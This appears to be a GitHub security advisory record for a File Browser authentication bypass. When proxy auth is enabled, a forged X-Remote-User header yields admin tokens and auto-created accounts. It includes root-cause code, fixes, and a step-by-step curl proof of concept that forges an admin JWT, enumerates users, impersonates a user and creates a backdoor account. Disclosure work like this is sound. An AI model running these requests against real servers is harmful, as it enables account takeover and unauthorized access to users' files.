{ "schema_version": "1.4.0", "id": "GHSA-xqp3-jq6g-x3qm", "modified": "2026-07-10T19:27:13Z", "published": "2026-07-10T19:27:13Z", "aliases": [ "CVE-2026-54089" ], "summary": "File Browser: Authentication Bypass via Proxy Auth Header Forgery", "details": "## Summary\n\nWhen FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization.\n\n**This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.**\n\n## Severity\n\n**HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n## Affected Component\n\n- **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28\n- **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing)\n- **Affected versions:** All versions supporting `auth.method=proxy`\n\n## Prerequisite: Proxy Auth Must Be Enabled\n\nThis vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:\n\n- **nginx** + Authelia / Authentik\n- **Traefik** + OAuth2 Proxy\n- **Caddy** + forward_auth\n- **Apache** + mod_auth_ldap\n\nIn these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user.\n\n| Deployment Scenario | Exploitable? |\n|---|---|\n| Default install (`auth.method=json`) | **No** — JSON auth uses password verification |\n| `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly |\n| `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** |\n\nThe third scenario is common because:\n- Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`)\n- Administrators expose the port for debugging, monitoring, or health checks\n- Cloud deployments may have misconfigured security groups or load balancers\n- Internal networks often lack strict micro-segmentation\n\nThe core issue is that the **code itself has zero defensive checks** — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.\n\n## Root Cause\n\nThe `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user's identity. There are **three distinct problems** in this code:\n\n### Problem 1: No Origin Validation\n\nThe function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:**\n\n```go\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check\n user, err := usr.Get(srv.Root, username)\n if errors.Is(err, fberrors.ErrNotExist) {\n return a.createUser(usr, setting, srv, username)\n }\n return user, err // <-- returns the user object, no password verification\n}\n```\n\nThere is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.\n\n### Problem 2: No Password Verification\n\nUnlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user:\n\n**File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:**\n\n```go\nfunc loginHandler(tokenExpireTime time.Duration) handleFunc {\n return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n auther, err := d.store.Auth.Get(d.settings.AuthMethod)\n // ...\n user, err := auther.Auth(r, d.store.Users, d.settings, d.server)\n // No additional verification — if auther.Auth() returns a user, a JWT is minted\n return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT\n }\n}\n```\n\n### Problem 3: Automatic User Creation\n\nIf the username in the header doesn't exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:**\n\n```go\nfunc (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {\n pwd, err := users.RandomPwd(randomPasswordLength)\n // ...\n user := &users.User{\n Username: username, // <-- attacker-controlled\n Password: hashedRandomPassword,\n LockPassword: true,\n }\n setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.)\n // ...\n err = usr.Save(user) // <-- persisted to database\n return user, nil\n}\n```\n\nThis auto-creation has no opt-in flag — it is always active when proxy auth is enabled.\n\n### Complete Attack Flow\n\n```\nAttacker sends: POST /api/login + Header: X-Remote-User: admin\n |\nloginHandler() |\n |-> d.store.Auth.Get(\"proxy\") |\n |-> auther.Auth(r, ...) |\n |-> ProxyAuth.Auth() |\n |-> r.Header.Get(\"X-Remote-User\") -> \"admin\" (attacker-controlled)\n |-> usr.Get(root, \"admin\") -> admin user (found in DB)\n |-> return user, nil -> no password check\n |-> printToken(w, r, d, user, ...) |\n |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})\n |-> token.SignedString(key) -> valid admin JWT returned to attacker\n```\n\n## Proof of Concept\n\nHere is Log testing using Low Privileges Account attacker, get forbidden\nLogin as low priv user then get the auth token `\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"`\n\n```\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n -H \"X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"\n403 Forbidden\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n -H \"X-Remote-User: admin\")\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n -H \"X-Auth: $FORGED_TOKEN\" | python3 -m json.tool\n{\n \"signup\": false,\n \"hideLoginButton\": true,\n \"createUserDir\": false,\n \"minimumPasswordLength\": 12,\n \"userHomeBasePath\": \"/users\",\n \"defaults\": {\n \"scope\": \".\",\n \"locale\": \"en\",\n \"viewMode\": \"mosaic\",\n \"singleClick\": false,\n \"redirectAfterCopyMove\": true,\n \"sorting\": {\n \"by\": \"\",\n \"asc\": false\n },\n \"perm\": {\n \"admin\": false,\n \"execute\": true,\n \"create\": true,\n \"rename\": true,\n \"modify\": true,\n \"delete\": true,\n \"share\": true,\n \"download\": true\n },\n \"commands\": [],\n \"hideDotfiles\": false,\n \"dateFormat\": false,\n \"aceEditorTheme\": \"\"\n },\n \"authMethod\": \"proxy\",\n \"rules\": [],\n \"branding\": {\n \"name\": \"\",\n \"disableExternal\": false,\n \"disableUsedPercentage\": false,\n \"files\": \"\",\n \"theme\": \"\",\n \"color\": \"\"\n },\n \"tus\": {\n \"chunkSize\": 10485760,\n \"retryCount\": 5\n },\n \"shell\": [\n \"/bin/sh\",\n \"-c\"\n ],\n \"commands\": {\n \"after_copy\": [],\n \"after_delete\": [],\n \"after_rename\": [],\n \"after_save\": [],\n \"after_upload\": [],\n \"before_copy\": [],\n \"before_delete\": [],\n \"before_rename\": [],\n \"before_save\": [],\n \"before_upload\": []\n }\n}\nroot@LAPTOP-VUMRCEKO:~#\n```\n\"image\"\n\n\n### Prerequisites\n\n- FileBrowser with proxy auth enabled:\n ```bash\n filebrowser config set --auth.method=proxy --auth.header=X-Remote-User\n ```\n- Server is reachable directly (not exclusively behind the reverse proxy)\n\n### Step 1: Confirm attacker (non-admin) is blocked\n\n```bash\n# Using a legitimate non-admin JWT token:\ncurl -s http://localhost:8085/api/settings \\\n -H \"X-Auth: \"\n```\n\n**Result:** `403 Forbidden` — non-admin users cannot access `/api/settings`\n\n### Step 2: Forge admin identity — no credentials needed\n\n```bash\n# Just one header, no password:\nFORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n -H \"X-Remote-User: admin\")\n\necho \"$FORGED_TOKEN\"\n# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)\n```\n\n**Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`)\n\n### Step 3: Access admin-only endpoints with forged token\n\n```bash\n# Read full server configuration (admin-only):\ncurl -s http://localhost:8085/api/settings \\\n -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** `200 OK` - complete server settings returned:\n\n```json\n{\n \"authMethod\": \"proxy\",\n \"shell\": [\"/bin/sh\", \"-c\"],\n \"signup\": false,\n \"defaults\": { \"perm\": { \"admin\": false, \"execute\": true, ... } },\n ...\n}\n```\n\n### Step 4: Enumerate all user accounts\n\n```bash\ncurl -s http://localhost:8085/api/users \\\n -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** All user accounts with full details (usernames, permissions, scopes, commands)\n\n### Step 5: Impersonate any other user\n\n```bash\n# Impersonate \"testuser\" — access their files without knowing their password:\nVICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n -H \"X-Remote-User: testuser\")\n\ncurl -s http://localhost:8085/api/resources/ \\\n -H \"X-Auth: $VICTIM_TOKEN\"\n```\n\n**Result:** Full file listing of testuser's scope\n\n### Step 6: Auto-create a new user account\n\n```bash\n# This username doesn't exist — server creates it automatically:\nNEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n -H \"X-Remote-User: backdoor_account\")\n```\n\n**Result:** New user `backdoor_account` created in the database with default permissions, JWT returned\n\n## Validated Results\n\nTested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09:\n\n| Test | Result |\n|------|--------|\n| Attacker token (non-admin) -> `GET /api/settings` | **`403 Forbidden`** (blocked) |\n| Forged header `X-Remote-User: admin` -> `POST /api/login` | **`200 OK`** — valid admin JWT (608 bytes) |\n| Forged admin token -> `GET /api/settings` | **`200 OK`** — full server config returned |\n| Forged admin token -> `GET /api/users` | **`200 OK`** — all user accounts listed |\n| Forged header `X-Remote-User: testuser` | **`200 OK`** — testuser JWT, files accessible |\n| Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** — new user auto-created, JWT returned |\n\n## Impact\n\nAn unauthenticated attacker who can reach the FileBrowser instance directly can:\n\n1. **Full admin takeover** — impersonate the admin user and gain complete control\n2. **Read all server settings** — shell configuration, permissions, branding, rules\n3. **Enumerate and impersonate all users** — access every user's files without credentials\n4. **Create unlimited backdoor accounts** — auto-creation generates persistent accounts\n5. **Modify server configuration** — enable command execution, change shell, alter rules\n6. **Chain with other vulnerabilities** — gain admin access -> enable shell mode -> achieve RCE\n\n**Attack cost:** Zero credentials. One HTTP header.\n\n## Suggested Remediation\n\n### Fix 1: Add trusted proxy IP validation (recommended)\n\n```go\ntype ProxyAuth struct {\n Header string `json:\"header\"`\n TrustedProxies []string `json:\"trustedProxies\"` // New: list of trusted proxy IPs/CIDRs\n}\n\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n // Verify request originates from a trusted reverse proxy\n clientIP := realip.FromRequest(r)\n if !a.isTrustedProxy(clientIP) {\n return nil, fmt.Errorf(\"proxy auth: request from untrusted source %s\", clientIP)\n }\n\n username := r.Header.Get(a.Header)\n if username == \"\" {\n return nil, os.ErrPermission\n }\n\n user, err := usr.Get(srv.Root, username)\n if errors.Is(err, fberrors.ErrNotExist) {\n if a.AutoCreateUsers { // Make opt-in\n return a.createUser(usr, setting, srv, username)\n }\n return nil, os.ErrPermission\n }\n return user, err\n}\n```\n\n### Fix 2: Make auto-user-creation opt-in\n\nAdd a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation.\n\n### Fix 3: Documentation warning\n\nClearly document that when using proxy auth:\n- FileBrowser **MUST NOT** be directly accessible from untrusted networks\n- Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it\n- The reverse proxy **MUST** strip/overwrite the configured header from client requests\n\n## References\n\n- **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go\n- **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137\n- **CWE-287:** https://cwe.mitre.org/data/definitions/287.html\n- **CWE-290:** https://cwe.mitre.org/data/definitions/290.html\n- **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ], "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/filebrowser/filebrowser/v2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.0.0-rc.1" }, { "last_affected": "2.63.18" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54089" }, { "type": "PACKAGE", "url": "https://github.com/filebrowser/filebrowser" }, { "type": "WEB", "url": "https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go" }, { "type": "WEB", "url": "https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137" } ], "database_specific": { "cwe_ids": [ "CWE-287", "CWE-290" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2026-07-10T19:27:13Z", "nvd_published_at": "2026-06-25T19:16:40Z" } }